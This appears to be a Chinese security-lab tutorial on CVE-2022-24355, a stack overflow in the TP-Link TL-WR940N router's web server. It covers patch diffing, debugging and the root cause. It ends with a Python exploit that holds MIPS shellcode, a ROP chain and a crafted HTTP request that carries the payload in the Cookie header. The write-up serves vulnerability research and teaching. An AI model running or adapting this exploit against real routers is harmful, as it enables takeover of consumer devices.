本环境是蛇矛实验室基于”火天网演攻防演训靶场”进行搭建,通过火天网演中的环境构建模块,可以灵活的对目标网络进行设计和配置,并且可以快速进行场景搭建和复现验证工作。
背景
自 2005年国际电信联盟正式提出“物联网(IoT)”这一概念以来,物联网在全球范围内迅速获得认可,并成为信息产业革命第三次浪潮和第四次工业革命的核心支撑。同时,数以亿计的设备接入物联网,这些设备如今已渗透到我们生活的方方面面,从家居到工厂无处不在。一方面物联网设备使我们的生活更加便捷,而另一方面物联网安全事件频发,全球物联网安全支出不断增加。
当前,大量物联网设备及云服务端直接暴露于互联网,这些设备和云服务端存在的漏洞一旦被利用,可导致设备被控制、用户隐私泄露、云服务端数据被窃取等安全风险,甚至会对基础通信网络造成严重影响。从2018年全球统计数据来看,路由器、视频监控设备暴漏数量占比较高。路由器暴漏数量超过3000万台,视频监控设备暴露数量超过1700万台,并且这些设备往后几年会一年比一年多,物联网安全的事件也会越来越多。由此,物联网安全行业需要大力发展,物联网安全人才的培养也刻不容缓。
蛇矛实验室在后续将利用火天网境系列靶场中的相关目标仿真和环境构建的特性,将持续发布关于“物联网安全-CVE实战分析”系列的文章来帮助大家入门物联网安全。
关于CVE-2022-24355
从CVE发布的信息来看,漏洞出现在TP-Link TL-WR940N3.20.1 build 200316版本的固件,并且漏洞成因是缺少对用户提供的数据进行过滤导致的栈溢出。
固件下载(https://www.tp-link.com/us/support/download/tl-wr940n/#Firmware)
我们先下载俩个版本的固件,200316和21111版本。这一节课,我们通过bindiff定位查找漏洞点,并且进行动态调试查看漏洞成因。
漏洞分析
“binwalk -Me 固件名”提取文件系统后,查看路由器系统的web服务,发现有一个httpd程序,并且它开机自启。
那么我们就分析httpd程序,使用IDA Pro打开俩个版本的httpd程序,保存idb数据库后,我们就可以使用bindiff工具了。工具的使用上一小节已经讲过了这里就不重复赘述了。
查看比较的matched functions,similarity越接近1,说明改动越少。我们直接查找不为1的函数比较,在比较的过程中,我们查找漏洞修复点,一定是修改了函数的逻辑,或增加代码或删除代码,亦或者修改程序的执行逻辑。所以分析过程中,发现好多函数虽然修改了代码,但是并没有改变程序的执行逻辑。分析完以后,初步筛选出了几个修改程序逻辑并且具有漏洞特征的函数(例如:httpDispatcher、updateDefaultGateway、httpRpmFs等等),然后我们打开IDA Pro进行比较分析。
在IDA Pro对比过程中,httpRpmFs函数在修复版本增加了明显的判断,如下图所示,程序判断v2是否在”/tmp/”目录下,而且符合判断后只允许俩个文件可以访问,其余的一律输出未授权错误。这里开发者有明显的动机,不让用户访问”/tmp/”目录下的文件,httpRpmFs很有可能有漏洞或其他缺陷,我们分析一下。
httpRpmFs函数通过httpRpmDataGet函数获取request(parm1)中的文件名,然后使用strcat函数将文件名与字符串”/tmp/”进行拼接。随后查找拼接后的字符串中是否有”..”字符串。如果file_path中没有”..”,则打开file_path中的文件,如果打开文件成功,则获取文件的状态参数。
注:根据后面的分析发现,这里的parm1就是request包的起始地址。
随后根据request请求包中的数据设置ContentLength和Status等,随后调用了sub_5299e0函数,经过后面动态调试后发现这个就是漏洞函数,下面我们进入函数分析一下。
函数判断file_path指针是否为空,如果不为空则找到file_path的字符串末尾位置,循环向前寻找”.”字符。将找到的字符位置+1赋值给v4。然后v4开始从当前位置进行循环复制字符存入到v11变量中,复制的过程中将字符转换为大写,这里的v11为局部变量。
漏洞的成因是这里有一个逻辑缺陷,开发者设计这段代码的初衷是查找文件后缀名,然后根据相应后缀名,然后返回request包中header对应的key。但是如果这里用户访问的文件没有后缀名,那么程序就会在内存中一直向前寻找,直到找到”.”字符,这中间可能有好多字符。找到这个字符后,程序以这个字符的下一个字节为起始地址,将字符串复制到堆栈上,如果数据够大就会破环栈空间分布,产生栈溢出。下面我们开始动态调试程序,动态调试可以更清楚的看到溢出时如何产生的。
在动态调试前,我们需要先绕过httpRpmFs函数的判断使其执行,我么们需要在uri中存在”/loginFs/”或者“/fs/”字符串。
并且我们的request包中,必须含有以下header,这样我们才可以让PC寄存器执行到httpRpmFs函数。
通过靶场路由器靶机的界面访问,设置burpsuite抓包代理
设置好代理后,我们先观察”/tmp/”目录下都有什么文件,这里我们直接使用没有的后缀名的文件进行调试观察。
访问”http://router_ip:port/loginFs/passwd“地址,使用burpsuite进行抓包。这里我们需要添加Referert header,因为这里在前面代码要求的header中缺少referer。Cookie头中随意添加垃圾数据(第一次调试这里不加也可以,主要关注程序的运行过程以及参数情况),其实后续这里不管哪个header都可以添加垃圾数据,前提是这个header在referer头后面。
在httpRpmFs函数下断,随后发送request包。程序停下来后。开始动态调试,运行到0x529fac处,拷贝”/tmp/”到file_path变量中
从request包中获取uri中的文件名
strcat拼接”/tmp/”和”文件名”
open打开文件,并判断fd指针是否为空
获取打开文件的状态参数
设置status状态码
跳转执行完sub_5299e0时,程序突然崩溃,并且返回地址为0x41414141,说明栈溢出发生在sub_52ee90函数中,并且栈空间中的ret address被覆盖成了”AAAA”
我们已经知道了溢出发生在哪个函数返回处,我们这时跟进入分析并且需要测试一下地址偏移。这时使用pwntools自带的cyclic自动生成垃圾数据,后面可以非常快速的计算偏移。
burpsuite抓包然后将垃圾数据填入。
下断点在漏洞函数开始处,追踪一下漏洞产生原因。
追踪到函数开始循环寻找”.”字符处
程序从地址为0x6dfd9b(字符串”/tmp/passwd”的末尾)开始向前寻找”.”字符,因为文件没有后缀名的原因,所以程序会一直向前找,就找到了0x6deecc(“.”)。并且后续以0x6deecd为开始指针,向局部变量v7进行复制(复制过程中转换为大写),复制的大小为strlen(0x6deecd)。这里的strlen函数遇到”x00″停止,所以复制的数据远远超过了v7局部变量的存储内存,栈溢出由此产生。
一直向前找到”.”的地址,并将地址加1,从这里开始复制到局部变量v7中。
循环复制指针指向的字符串到栈空间中,可以看到下图中的字符串均已被转换为大写。
程序根据后缀名查找相应的返回header,由于这里我们访问的文件没有后缀名,所以他会一直遍历到最后。
内存中可以看到所有的后缀名以及对应返回header的内容。
还是在漏洞函数返回前的地址下断点,查看一下栈的空间分布,确实和我们分析的一致,从”192.168.0.1″字符串中最后一点”.”的后一个字节”1″开始复制,一直复制到空字符,导致了栈溢出。
根据这里最后的返回的ret address,我们可以算出ret address与我们可控点之间的偏移。
漏洞复现
算出偏移后,我们就可以编写exp了。编写exp时需要注意一些点,首先需要绕过toupper函数,所以发送的所有字节需要避免”a-z”等的字节。其次,由于mips流水指令集的原因,我们在构造rop链时,需要执行sleep函数刷新指令区。
from pwn import *
import socket
context.arch = "mips"
context.endian = "big"
shellcode = "x24x0exffxd1x01x20x48x27x24x0bxffxa3x01xcex40x26"
shellcode += "x21x08xffxffx05x10xffxffx28x08x82x82x23xfdxffxe2"
shellcode += "x01x60x58x27x03xebxc8x21x28x17x82x82x8fx31xffxfc"
shellcode += "x24x0cxffxfbx01x80x60x27x21x8fxffxfdx8fx28xffxfc"
shellcode += "x02xefxb8x21x01x11x18x26x02xeexf0x2bxafx23xffxfc"
shellcode += "x14x1exffxfax03x2cxc8x21x21x86xffxfdxafxa6xffxf8"
shellcode += "x01xcex28x26xafxa5xffxfcx27xa4xffxf8x24x02x10x46"
shellcode += "x01x4ax54x0cx02x03x20x14x26x0cxdfxeex03xe3x58x33"
shellcode += "x23xe7xdfxe9x23xe6xdfxe9x2ax05xdfxebx26x01x30x43"
shellcode += "x03x02x21x18xadxa1xdfxebx8dxa7xdfxebx36x0cxdfxe9"
shellcode += "x03xe3x58x33xadxacxdfxf4x3ex0dx5ax7dx37xcdx5ax7d"
shellcode += "xadxadxdfxf0x3ex0dxe0xbcx37xcdx21x16xadxadxdfxf2"
shellcode += "x25xa6xdfxf6x26x0fxdfxfbx03x83x10x33x26x01x30x5e"
shellcode += "x03x02x21x18x26x0cxdfxe9x03xe3x08x33x8dxa7xdfxeb"
shellcode += "x26x01x2fxcbx03x02x21x18x26xa6xdfxebx26x02xdfxeb"
shellcode += "x16xa2xdfxefx2ax05xdfxebx3ex0cx0fx3bx37xecx42x7d"
shellcode += "xadxacxdfxf8x3ex0dx4ex3bx37xcbx53x7cxadxadxdfxe4"
shellcode += "xadxa3xdfxe0x25xa7xdfxf8xadxa7xdfxecxadxa3xdfxe8"
shellcode += "x25xa6xdfxecx26x01x2fxbfx03x02x21x18"
libcbase = xxxxx #这里需要调试查看
sleep = libcbase + 0x53ca0
gadget1 = libcbase + 0x55c60
gadget2 = libcbase + 0x24ecc
gadget3 = libcbase + 0x1e20c
gadget4 = libcbase + 0x195f4
gadget5 = libcbase + 0x154d8
payload = p32(gadget2)
payload += "x90"*8
payload += p32(gadget1)
payload += "A"*20
payload += "FFFF"
payload += "FFFF"
payload += "FFFF"
payload += "FFFF"
payload += "FFFF"
payload += p32(sleep)
payload += p32(gadget3)
payload += "G"*24
payload += "A"*4
payload += p32(gadget5)
payload += "C"*4
payload += p32(gadget4)
payload += "x90"*36
payload += shellcode
request = "GET /loginFs/passwd HTTP/1.1rn"
request += "Host: 192.168.0.1rn"
request += "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0rn"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8rn"
request += "Accept-Language: en-US,en;q=0.5rn"
request += "Accept-Encoding: gzip, deflatern"
request += "Connection: closern"
request += "Referer: http://192.168.0.1/rn"
request += "Cookie: AAAA"+payload+"rn"
request += "Upgrade-Insecure-Requests: 1rnrn"
def exp():
con = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con.connect(("192.168.0.1",80))
con.send(request)
print request
sleep(2)
res = con.recv(4096)
print res
exp()
利用exp进行攻击,同时需要在漏洞函数的返回地址处下断。程序停下来后,可以看到栈上的空间分布,确实是与我们想要构造的空间分布相同。
下图中可以看到,漏洞函数即将返回时,$ra已经变成了我们构造的rop gadget了,所以接下里会跳转到我们构造的rop链并且会紧接着执行shellcode。由于我这里是仿真出来的环境,所以这里的动态链接库加载基址与真实设备的加载基址不同,导致所有的rop gadget地址被转换成了大写。这里并不影响我们的分析和复现。
总结
这一小节,我们使用bindiff进行了实战,加深了对bindiff的理解。同时我们也对栈溢出的过程进行了动态调试,让我们更加深刻的了解了栈溢出的形成方式以及栈溢出的多种形式。
蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。
原文始发于微信公众号(蛇矛实验室):物联网安全实战从零开始-CVE-2022-24355
请问您是如何实现把固件仿真起来后,能利用gdb进行远程调试的呢? 我尝试了使用firmAE仿真时,利用gdb-multiarch进行远程调试时,出现了”warning: unable to find dynamic linker breakpoint function” 的报错,导致不能正常下断点,尝试过sysroot命令,但依然不成功
这个问题你最好去原文留言。